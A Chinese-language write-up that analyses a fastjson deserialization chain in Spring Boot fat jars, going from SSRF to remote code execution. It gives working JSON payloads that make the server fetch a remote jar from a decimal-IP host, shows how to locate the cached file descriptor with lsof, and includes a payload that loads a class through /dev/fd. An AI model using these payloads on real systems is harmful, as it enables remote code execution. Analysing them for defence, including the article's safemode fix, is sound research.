漏洞原理

该漏洞的实现方式并不是和传统fastjson类似通过反序列化时会触发类的setter和getter方法实现,而是利用parse过程中checkAutoType会替换resource中的.为/+spring fat jar使用LaunchedURLClassLoader为类加载器(支持jar://格式读取jar包)+asm直接操作字节码绕过类名校验的组合利用方式实现ssrf

漏洞分析

可以先看漏洞复现的过程,在复现过程中可以发现,该漏洞有几个关键问题需要解决: 1.为什么要用打包的fatjar通过java -jar启动,而不能直接通过spring application? 2.payload中的外部地址为什么是十进制的ip,而不是标准的.格式的ip地址,例如127.0.0.1? 3.为什么高版本jdk的地址要用jar:http:..2130706433:31337.f2!.E11,而不能和低版本一致使用jar:http://2130706433:31337/f2!/E11? 4.为什么要用asm生成恶意类? 先直接通过spring application启动项目 image.png 发送payload1进入断点 image.png 入口点一样也是parse,中间无关过程就不跟了,和以前的链一样。一直跟进到com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object) image.png {"@type"}格式的反序列化对象会进入LBRACE,判断当前容器使用了原生java集合还是fastjson的JsonObject,因为这里引入了fastjson所以会进入new JSONObject(lexer.isEnabled(Feature.OrderedField))创建JSONObject,随后将object放进parseObject里,步入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) image.png 该方法中会取出目标的typename,并判断该typename是否是一些特殊类(HashMap、LinkedHashMap、纯数字),此处都不符合,所以会进入checkAutoType的校验中,步入com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int) 可以发现该方法中会先对是否开启safemode进行判断,如果服务开启了safemode那么直接会抛出异常终止反序列化流程,这就是为什么可以通过开启safemode修复该漏洞 image.png

再往下走就是一些方法黑白名单的校验,通过hash进行判断是否为名单中的方法,该漏洞不涉及就不做深入分析,往下继续跟进入关键部分,也是该漏洞形成的关键原因 image.png 在获取resource之前,会先将typename的.改成/去发现类,这就是为什么高版本的jdk可以通过将/改成.的形式(jar:http:..2130706433:31337.f2!.E11)绕过jdk底层的校验,也解释了问题二payload中为什么要用十进制的ip,就是因为防止该步骤破坏ip格式。例如目标类是java.lang.Object,那么经过该步骤后就会转换成java/lang/Object。之所以需要将目标类的.替换成/是因为后续向类加载器请求类的元数据的时候,类加载器要求传入的路径必须是/分隔的资源路径,通过转换之后,fastjson就能通过getResourceAsStream获取类的字节码。继续跟进,步入java.lang.ClassLoader#getResourceAsStream image.png 这个时候可以发现,getResource返回了null,并没有获取到目标类的url地址。这和使用的类加载器紧密相关,根据调试信息可以发现,当前使用的类加载器是AppClassLoader,这个类加载器在底层维护了一个base url,而这个base url全是本地磁盘地址,所以这个类加载器并不支持加载http或jar://http这样的网络地址。如果需要具体分析可以跟进getResource去看,这里忽略。而如果用spring-boot-maven-plugin进行打包,用SpringBoot打包出来的fatjar则使用的默认类加载器是LaunchedURLClassLoader,这个类加载器就支持嵌套jar包的读取。这是fatjar的特性,因为spring boot打出的fatjar内部嵌套了第三方jar包,用普通的类加载器根本无法读取,所以springboot自定义了一个classloader来加载。这也就解释了上面的问题一为什么要用打包的fatjar通过java -jar启动。 所以这里我们将项目打包成一个fatjar,通过java -jar启动。为了方便调试,选择使用idea的jar应用程序调试 image.png 再重新执行payload1(这里使用高版本..绕过的格式) image.png image.png

可以发现获取的resource和第一种一致 image.png 同时发现这里使用了LaunchedURLClassLoader成功获取了url地址,之后通过getInputStream读取数据流造成SSRF。底层根据协议类型(JAR或文件)会将JarFile或文件流注册到全局的closeables容器中,以便在解析器关闭时统一释放所有文件句柄,防止资源泄漏。在 URLClassLoader中,closeables是一个内部的HashMap<Object, Object>。它的作用是像管家一样,记录所有由这个ClassLoader打开的底层物理资源,以便在ClassLoader.close()被调用时,能够统一关闭这些资源,防止内存泄漏和文件描述符泄漏。当请求的资源在JAR包内(如 jar:http:..2130706433:31337.f2!.E11或jar:file:.dev.fd.34!.E34)时,进入 JarURLConnection分支。对于jar:http://协议,底层会先通过网络下载f.jar到本地/tmp临时目录,然后通过new JarFile("/tmp/jar_cachexxx.tmp")打开它。此时,操作系统会分配一个文件描述符(FD),比如FD=34。这相当于在Map中强引用了jar这个JarFile对象。只要URLClassLoader实例存活,closeables Map就存活,JarFile对象就不会被垃圾回收。只要JarFile对象不被GC,它底层持有的操作系统FD就一直处于打开状态,这就直接引出了后续高版本JDK的FD盲注 继续往下走 image.png 判断恶意类是否存在JsonType注解,如果存在JsonType注解那么就会执行loadClass加载类。同时可以看到autoTypeSupport和jsonType之间是或的关系,所以只要恶意类有@JsonType注解,则可以忽略是否开启autotype

漏洞复现

ParseController

package com.fjhunter.victim;  
  
import com.alibaba.fastjson.JSON;  
import org.springframework.web.bind.annotation.GetMapping;  
import org.springframework.web.bind.annotation.PostMapping;  
import org.springframework.web.bind.annotation.RequestBody;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.RestController;  
  
import java.io.ByteArrayOutputStream;  
import java.io.InputStream;  
  
@RestController  
public class ParseController {  
  
    @PostMapping(value = "/parse", consumes = "application/json")  
    public String parse(@RequestBody String body) {  
        Object result = JSON.parse(body);  
        return "parsed: " + result;  
    }  
  
    @GetMapping("/probe")  
    public String probe(@RequestParam String resource,  
                        @RequestParam(required = false) String type) throws Exception {  
        StringBuilder sb = new StringBuilder();  
        ClassLoader cl = ParseController.class.getClassLoader();  
        sb.append("classloader=").append(cl.getClass().getName()).append('\n');  
  
        InputStream is = null;  
        try {  
            is = cl.getResourceAsStream(resource);  
        } catch (Throwable t) {  
            sb.append("getResourceAsStream threw ").append(t).append('\n');  
        }  
        sb.append("getResourceAsStream=").append(is == null ? "null" : "OK").append('\n');  
  
        if (is != null) {  
            byte[] data = readAll(is);  
            is.close();  
            sb.append("bytes=").append(data.length).append('\n');  
            String content = new String(data, "ISO-8859-1");  
            sb.append("hasJsonTypeConstant=")  
              .append(content.contains("Lcom/alibaba/fastjson/annotation/JSONType;")).append('\n');  
        }  
  
        if (type != null) {  
            try {  
                Class<?> c = cl.loadClass(type);  
                sb.append("loadClass=OK ").append(c).append('\n');  
            } catch (Throwable t) {  
                sb.append("loadClass=").append(t.getClass().getName())  
                  .append(": ").append(String.valueOf(t.getMessage()).replace('\n', ' ')).append('\n');  
            }  
        }  
        return sb.toString();  
    }  
  
    private static byte[] readAll(InputStream is) throws Exception {  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        byte[] buf = new byte[4096];  
        int n;  
        while ((n = is.read(buf)) != -1) {  
            bos.write(buf, 0, n);  
        }  
        return bos.toByteArray();  
    }  
}

执行mvn clean package,打包成jar启动

java -jar victim-1.0.0.jar

执行payload1,目的是利用SSRF获取远程的恶意类

POST /parse HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:18080

{"@type":"jar:http://2130706433:31337/f2!/E11"} //针对jdk8低版本
{"@type":"jar:http:..2130706433:31337.f2!.E11"} //针对jdk9+版本

image.png image.png 成功请求服务,将远程恶意类缓存并分配一个fd。由于本地调试,为了方便就通过查找victim jar进程的方式定向查找缓存的fd编号。实战中可以直接遍历盲打

ps aux | grep "victim-1.0.0.jar" | grep -v grep //查找jar进程

lsof -p 65891 2>/dev/null | grep "jar_cache" //查找fd

image.png 可以查到缓存的fd编号是34,然后执行payload2通过本地缓存加载恶意类实现RCE

POST /parse HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:18080  

{"@type":"jar:file:.dev.fd.34!.E34"}

image.png image.png